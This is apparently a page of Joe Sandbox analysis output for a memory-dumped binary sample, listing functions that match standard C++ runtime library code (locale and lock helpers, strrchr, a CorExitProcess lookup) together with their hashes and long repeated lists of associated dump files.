Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetctypeRegister
String ID:
API String ID: 1102183713-0
Opcode ID: 74e8d74ea8cae653ff064e498a8e5ea24a589fb6a6280575f2f16ce5726edafa
Instruction ID: 77f1232408694f3dd5d12cbd75a525e351c2d2cab8c7875bef29c411325895d1
Opcode Fuzzy Hash: 74e8d74ea8cae653ff064e498a8e5ea24a589fb6a6280575f2f16ce5726edafa
Instruction Fuzzy Hash: 0C51B8B0D01244DFCB11DF58C945BAEBBF0AF11710F248299E855AB391EB74AE54CF92

Function 0016D260 Relevance: 9.1, APIs: 6, Instructions: 124COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0016D28A
std::_Lockit::_Lockit.LIBCPMT ref: 0016D2AC
std::_Lockit::~_Lockit.LIBCPMT ref: 0016D2D4
__Getcoll.LIBCPMT ref: 0016D39F
std::_Facet_Register.LIBCPMT ref: 0016D3E4
std::_Lockit::~_Lockit.LIBCPMT ref: 0016D40E

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_GetcollRegister
String ID:
API String ID: 1184649410-0
Opcode ID: 4b689e330be16c2610ce60ccba46723d6db21d88c30fc33d26cf821fb79fbfa4
Instruction ID: cb4057c66af27643fd55436b09e3e4f6b5bc77c9dae5f242cd175d6678d5eff0
Opcode Fuzzy Hash: 4b689e330be16c2610ce60ccba46723d6db21d88c30fc33d26cf821fb79fbfa4
Instruction Fuzzy Hash: 28519BB1D01248DFDB01DF98E9447AEBBB4BF51314F248059E815AB381DB75AE05CFA1

Function 0016C430 Relevance: 7.6, APIs: 5, Instructions: 119COMMON

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 0016C45A
std::_Lockit::_Lockit.LIBCPMT ref: 0016C47C
std::_Lockit::~_Lockit.LIBCPMT ref: 0016C4A4
std::_Facet_Register.LIBCPMT ref: 0016C59A
std::_Lockit::~_Lockit.LIBCPMT ref: 0016C5C4

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: std::_$Lockit$Lockit::_Lockit::~_$Facet_Register
String ID:
API String ID: 459529453-0
Opcode ID: 74d4d232f0af9e88f9cefe9811e167ee76841a9ce3215c6e084fd773fe5d5e23
Instruction ID: 68f4aa11c7856a78567a347c3648c7dac43698edd83ca89f819e18789b3eb68e
Opcode Fuzzy Hash: 74d4d232f0af9e88f9cefe9811e167ee76841a9ce3215c6e084fd773fe5d5e23
Instruction Fuzzy Hash: 9751CBB0901244DFDB11DF58D854BAEBBF0FB11714F248199E886AB381DB75AE45CBD0

Function 0019BB66 Relevance: 6.3, APIs: 4, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 0019BBEC

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: d40d487c20b08462e532d2d7f61713fca0c0bdc275729882879ca4c3c0d15beb
Instruction ID: c4f6f728bcb03f8461796fc37ca707e2e7279d6e0ae4543613fecb83e12b0e0e
Opcode Fuzzy Hash: d40d487c20b08462e532d2d7f61713fca0c0bdc275729882879ca4c3c0d15beb
Instruction Fuzzy Hash: A7B18532E082559FDF158F68DDC2BFE7BE5EF66300F144165E904AB282D7709900CBA1

Function 00154040 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 66COMMONLIBRARYCODE

Download Yara Rule

APIs

std::_Lockit::_Lockit.LIBCPMT ref: 00154061
std::_Locinfo::_Locinfo_ctor.LIBCPMT ref: 001540C4

Strings

bad locale name, xrefs: 001540E6

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007E8000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007EA000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007F7000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000807000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000080B000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000081A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000842000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000846000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000084A000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_5_2_150000_8WUnp6Y_Ak5XjHYYEp1aIJYJ.jbxd

Similarity

API ID: std::_$Locinfo::_Locinfo_ctorLockitLockit::_
String ID: bad locale name
API String ID: 3988782225-1405518554
Opcode ID: fcb926c369bc3dbafb27e0c9430902fe23a4465ac6f21c891fd861d1e9a79d98
Instruction ID: df88e5a4e81a4086473e49be7a6569be8dc673e7b2ab19f85c60be8cd88141dc
Opcode Fuzzy Hash: fcb926c369bc3dbafb27e0c9430902fe23a4465ac6f21c891fd861d1e9a79d98
Instruction Fuzzy Hash: 8211D370805B84EED721CFA8C50474BBFF4AF26714F14869DE4959B781D3B5A704CBA1

Function 00193633 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 44libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 0019367A

Strings

mscoree.dll, xrefs: 00193661
CorExitProcess, xrefs: 00193672

Memory Dump Source

Source File: 00000005.00000002.2230874398.0000000000151000.00000020.00000001.01000000.00000006.sdmp, Offset: 00150000, based on PE: true

Associated: 00000005.00000002.2230806897.0000000000150000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231644289.00000000002AD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231712795.00000000002D5000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2231771873.00000000002DA000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232008781.0000000000403000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232086743.0000000000404000.00000020.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000006FD000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000705000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000713000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000717000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000725000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000729000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000738000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000073C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000074C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000075C000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000760000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000076E000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000771000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000773000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000777000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000077A000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000078D000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.0000000000791000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.000000000079F000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007A3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B1000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007B5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007C3000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007D5000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 00000005.00000002.2232568485.00000000007DA000.00000002.00000001.01000000.00000006.sdmpDownload File
